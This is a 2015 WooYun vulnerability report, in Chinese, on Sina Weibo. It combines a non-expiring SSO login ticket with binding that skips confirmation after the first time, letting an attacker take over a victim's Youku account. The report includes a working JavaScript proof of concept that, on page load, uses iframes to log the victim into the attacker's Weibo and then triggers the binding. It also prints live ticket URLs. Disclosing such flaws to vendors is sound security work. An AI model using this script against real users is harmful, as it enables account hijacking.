当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114552

漏洞标题:新浪微博两处缺陷结合起来存在被他人利用的风险(只是谈谈这两个缺陷结合起来存在的风险)

相关厂商:新浪

漏洞作者: q601333824

提交时间:2015-05-17 10:20

修复时间:2015-07-03 16:20

公开时间:2015-07-03 16:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-17: 细节已通知厂商并且等待厂商处理中
2015-05-19: 厂商已经确认,细节仅向厂商公开
2015-05-29: 细节向核心白帽子及相关领域专家公开
2015-06-08: 细节向普通白帽子公开
2015-06-18: 细节向实习白帽子公开
2015-07-03: 细节向公众公开

简要描述:

是时候展现我脑洞的时候到了,一般像我这么能扯淡的,在游戏里,一般都是脑洞很大的人

详细说明:

【1】缺陷一
1.可以查看当前用户登录帐号的ticket(这个ticket是一次性会话,而且没有时间限制,就是说,在别的地方能使用ticket登录帐号)

http://login.sina.com.cn/sso/crossdomain.php?action=login


1.png


2.为了证明能在别的地方使用,我换个火狐浏览器,和360极速的cook分开,为了测试准确
比如:我用这个连接在火狐登录我的帐号

http://passport.weibo.com/wbsso/login?ticket=ST-NTU1MjQ5NjY2MA%3D%3D-1431789409-gz-76F4CB1A46DA9034DEF2B3B82918C750&ssosavestate=1463324784


2.png


3.看吧,就算换浏览器也能使用那个连接登录帐号,虽然一次性,但是没有时间限制
-------------------------------------------------------------------------------------------------------
【2】缺陷二
1.在别的网站使用帐号绑定功能的时候,可以直接跳到绑定成功的页面(我用优酷举例,非黑,只是举个例子,因为光说没用)
①.当你点击绑定的时候,优酷会先打开

http://i.youku.com/partner_thirdPartOnlyBind/tlsite_sina_tlclient_ykwebb


3.png


②.然后会直接跳到地址

http://passport.youku.com/partner_thirdLoginCallback?tlsite=sina&tlclient=ykwebb&state=17f397bbc7953cb7f7f8871fa4f74081&code=81aff42efac547a75a8dd5950f4155b2&authcallback=http%3A%2F%2Fpassport.youku.com%2Fpartner_unifiedThirdpartCallback&tlsite=sina&origrurl=http%3A%2F%2Fpassport.youku.com%2Fpartner_unifiedThirdpartCallback

也就是说state和code有跟没有一样
③,并且会提示绑定成功

4444.png


④.有人会问,难道中途没有用户确认按钮???,比如这种按钮

55555.png


⑤.没错,会有这种提示,但是看上面的一些截图,没发现有个缺陷吗??就是一个微博帐号在第一次关联的时候会提示连接确认,也就是上面那种图,之后的再关联就不会出现连接确认了,直接会提示绑定成功!!!!!!我微博的帐号在第一次关联的时候已经确认连接,所以说,之后的再关联没有再出现确认,直接绑定成功了
-------------------------------------------------------------------------------------------------
上面那两个缺陷综合起来就是
①。可以查看当前用户登录帐号的ticket连接,并且可以在别的电脑访问并且登录帐号
②。在新浪绑定确认的时候,一个微博帐号只有在第一次绑定会出现绑定确认连接,之后只要绑定,直接提示绑定成功,也就是说,除了第一次,之后的绑定只要访问这个连接就能绑定成功

http://i.youku.com/partner_thirdPartOnlyBind/tlsite_sina_tlclient_ykwebb



-------------------------------------------------------------------------------------------
存在的安全隐患也就出现了,可以利用自己的ticket连接,让别人访问,在别人的电脑上登录自己新浪微博,然后再访问绑定连接,就能绑定劫持别人的优酷帐号了
-----------------------------------------------------------------------------------------
测试代码

<script>
/*登录的ticket可以从这里复制http://login.sina.com.cn/sso/crossdomain.php?action=login*/
window.onload=function xinlang(){
var src="http://passport.weibo.com/wbsso/login?ticket=ST-MTg3ODUyMDA3Mg%3D%3D-1431783283-gz-E19B975B6DC0450533813D391D5B7F54&ssosavestate=1463319272" ;//这里自己填写登录的ticket
var e=document.createElement('iframe');e.setAttribute('src',src);document.body.appendChild(e);
alert("自己新浪微博登录")
}
function youkubangding(){
var e=document.createElement('iframe');e.setAttribute('src',"http://i.youku.com/partner_thirdPartOnlyBind/tlsite_sina_tlclient_ykwebb");document.body.appendChild(e);
alert(/绑定他的优酷的帐号,然后我可以使用我的新浪微博登录他的优酷帐号/)
}
setTimeout("youkubangding()",1000)
</script>


---------------------------------------------------------------------------------------
测试截图
1.开始我的新浪微博没有登录

787878787878787878787878787.png


2.当目标用户访问的时候,会先打开我事先设置好的我的ticket,在他的电脑上登录我的新浪微博

9999.png


3.然后延迟一秒,再次访问绑定连接,把他的优酷帐号和我的新浪微博绑定(如果是新号测试,可以先绑定一次再解绑测试,因为第二次绑定不会提示确认连接,直接绑定成功)

http://i.youku.com/partner_thirdPartOnlyBind/tlsite_sina_tlclient_ykwebb


0000.png


45454545.png


3.然而当代码执行完成的时候,我的的新浪微博已经登录,对方的优酷帐号也已经绑定我的新浪微博了

78787.png

9999999999999999999.png



漏洞证明:


1、漏洞证明看上面
2.可以查看当前用户登录帐号的ticket连接,并且可以在别的电脑访问并且登录帐号

3.在新浪绑定确认的时候,一个微博帐号只有在第一次绑定会出现绑定确认连接,之后只要绑定,直接提示绑定成功,也就是说,除了第一次,之后的绑定只要访问这个连接就能绑定成功

修复方案:


1.屏蔽敏感信息,关键地方大妈,和手机号码和邮箱一样
2.不光第一次绑定让用户确认,之后绑定每次让用户确认一下
3.只是拿优酷举例子,其他网站没测试
4.那些说举例子就是黑的,全家爆炸

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-19 16:19

厂商回复:

感谢关注新浪安全,漏洞修复中。

最新状态:

暂无